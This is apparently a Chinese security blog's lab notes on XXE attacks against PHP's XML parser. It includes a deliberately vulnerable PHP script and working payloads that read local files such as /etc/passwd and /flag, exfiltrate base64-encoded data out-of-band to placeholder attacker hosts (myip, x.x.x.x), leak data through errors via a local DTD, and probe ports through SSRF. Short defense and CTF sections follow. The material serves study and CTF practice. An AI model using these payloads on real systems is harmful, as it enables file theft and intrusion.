img

DTD:

//EMPTY关键字表示元素是个空元素
<!ELEMENT root ANY> //ANY关键字表示元素中可以出现任何内容,也可以为空  
//下面这个声明表示root中可以有文本,也可以是空  
<!ELEMENT root (#PCDATA)> //()表示一个分组,其中是放的允许在元素出现的内容,#PCDATA表示文本  
<!ELEMENT root (child)> //child是子元素的名称,这个声明表示root中必须且只能有一个child元素  
<!ELEMENT root (child1,child2)> //以逗号分隔,表示子元素依次出现  
<!ELEMENT root (child1|child2)> //竖线与"OR"的意思相近,表示root元素中只能出现child1或child2  
<!ELEMENT root (child?)> //root中child子元素可以出现一次,也可以不出现  
<!ELEMENT root (child+)> //root中child子元素至少出现一次  
<!ELEMENT root (child*)> //root中child子元素可以出现任意次数或不出现  
<!ELEMENT root (child,(a,b))> //()还可以嵌套,这里表示root元素中第一次子元素必须是child  
//紧接着是a或b  
<!ELEMENT root (child,(a,b)+)> //*,?,+这些量词可作用于分组,这里表示root元素中第一次子元素必须是child  
//紧接着是a或b出现一次或多次  

实验

环境搭建

xmlres.php代码:

1
2
3
4
5
6
7
8
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents($_GET['file']);
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$roots = simplexml_import_dom($dom);
echo $roots;
?>

实验一:踩坑普通XXE

思考:为什么不能直接在XML文件中进行参数实体拼接然后引用呢?如下:

建立a.xml

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY all "%start;%file;%end">
]>

<root>&all;</root>

访问php文件

1
http://127.0.0.1/XML/xmlres.php?file=a.xml

报错:Warning: DOMDocument::loadXML(): PEReferences forbidden in internal subset in Entity…

原因:In the internal subset of DTD, references to parameter entities are not allowed within markup declarations. You have to use an external DTD规则 也就是说在DTD内部子集中,参数实体的引用不允许在标记声明里。在外部DTD中,是可以的

更改如下:

新建外部dtd文件a.dtd :

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % goodies SYSTEM "file:///var/www/html/XML/file">
<!ENTITY all "%start;%goodies;%end";>

修改a.xml如下:

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///var/www/html/XML/a.dtd">
%file;
]>
<root>&all;</root>

执行php文件,继续报错:Warning: DOMDocument::loadXML(): EntityValue: ‘%’ forbidden except for entities references in file:///var/www/html/XML/a.dtd

原因:报错已经说的很清楚了,%不允许出现在Entity的value中. 所以需要将%进行Unicode编码为&#37;(在xml中Unicode编码与字符本身是一样的)

更改如下:

修改a.dtd :

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % goodies SYSTEM "file:///var/www/html/XML/file">
<!ENTITY all "&#37;start;&#37;goodies;&#37;end">

执行PHP后发现并没有对%start;%goodies;%end进行解析

image-20220516232631517

原因:需要在外面包一个参数实体int的声明,%int;引用的时候%file;会被成功解析,然后再%all;就可以成功的将解析%goodies;的内容传出。所以%int只是辅助的作用,用于辅助解释send实体内容。

更改如下:

修改a.dtd :

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % goodies SYSTEM "file:///var/www/html/XML/file">
<!ENTITY % int "<!ENTITY all '%start;%goodies;%end;'>">

修改a.xml :

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///var/www/html/XML/a.dtd">
%file;
%int;
]>
<root>&all;</root>

正常解析file中的文件内容

image-20220516235039821

image-20220516235054201

实验二 :通过重写本地dtd中的参数实体实现调用

有时候服务器配置好防火墙,禁止服务器请求外网dtd文件的话,就不能外带数据了。这时候就可以考虑利用本地dtd来进行XXE。

Ubuntu系统自带/usr/share/yelp/dtd/docbookx.dtd

image-20220518184211791

它定义了很多参数实体并调用了它。我们可以在内部重写一个dtd文件中含有的参数实体,而此时调用是在外部,可以实现。

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;http://myip/?&#x25;file;&#x27;>">
&#x25;eval;
&#x25;send;
'>
%remote;
]>
<message>1234</message>

OOB

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
%exfil;
]>

## External dtd: ##

<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

基于报错的Bind XXE

基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。

请求外部服务器方式

a.xml :

1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "file:///var/www/html/XML/a.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/XML/file">
%remote;
%start;
%send;
]>
<message>1234</message>

a.dtd :

1
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'file:///hhhhhhh/%file;'>">

执行php

image-20220517011330599

1
2
3
4
$ echo "YXNkCjw+Cjw/Cg==" | base64 -d                                         
asd
<>
<?

请求本地dtd文件方式

ubuntu系统自带/usr/share/yelp/dtd/docbookx.dtd

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file://hhhhhhhh/?&#x25;file;&#x27;>">
&#x25;eval;
&#x25;send;
'>
%remote;
]>
<message>1234</message>

SSRF

通过回显时间、回显长度判断端口是否开放

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY xxe SYSTEM "http://10.211.55.5:80">
]>
<note>
<info>&xxe;</info>
</note>

命令执行=

php的expect:// 协议可以用来执行命令
为了使用 expect:// 封装器,必须安装 » PECL 上的 » Expect 扩展

关于XXE漏洞挖掘

XML作为介质传输流程应该是这样的:

用户传输敏感数据->xml形式传输->后端解析xml(loadXML)->将各DOM节点转化为SimpleXML节点(最终为数组形式,节点名为键名,节点值为键值)->提取对应节点键值->数据提取/用户判断

漏洞点就在后端解析xml。

当后端使用**loadXML()**的方法解析xml文档时,会解析恶意xml语句即外部实体的引用,从而造成漏洞。

在挖掘漏洞的时候尤其注意两点:

  1. content-type: application/xml
  2. xml形式的数据传输e.g:<user>admin</user>

关于防御

  1. 对于PHP,禁止引用外部实体

    1
    libxml_disable_entity_loader(true);
  2. 对于其它语言,其实做好过滤就行了。

相关CTF题目

网鼎杯2020 filejava

DozerCTF2020 svgggggg!

GoogleCTF2019 Bnv

https://www.freebuf.com/vuls/207639.html

在今年的Google CTF 中出了一道Blind XXE 题 bnv,这道题完整WP可以参考这里,这里只分析Blind XXE部分。

这题目可以从错误响应中泄露信息。因为题目无法和外界通信,通过引入本地DTD文件,payload并不复杂,就和上面分析的一样

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % ISOamso '
<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
&#x25;para2;
'>
%remote;
]>
<message>10</message>

如果不引用外部DTD文件,直接通过嵌套参数实体,这道题同样可以做出来。

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
&#x25;para2;
'>
%para;
]>
<message>10</message

xxe5.png


XXE payload

xxe实验踩坑记录

合天网安

https://xz.aliyun.com/t/3357

https://blog.csdn.net/lileiyuyanqin/article/details/72828922

https://www.cnblogs.com/backlion/p/9302528.html

https://www.freebuf.com/column/156863.html

https://www.freebuf.com/column/208904.html

https://www.freebuf.com/articles/web/126788.html

https://www.freebuf.com/vuls/194112.html

https://www.cnblogs.com/r00tuser/p/7255939.html

https://www.freebuf.com/column/188849.html

https://www.jianshu.com/p/d73b0ee9eeae

https://zhuanlan.zhihu.com/p/389550468

XPath漏洞利用

一篇文章带你深入理解漏洞之 XXE 漏洞

https://xz.aliyun.com/t/8041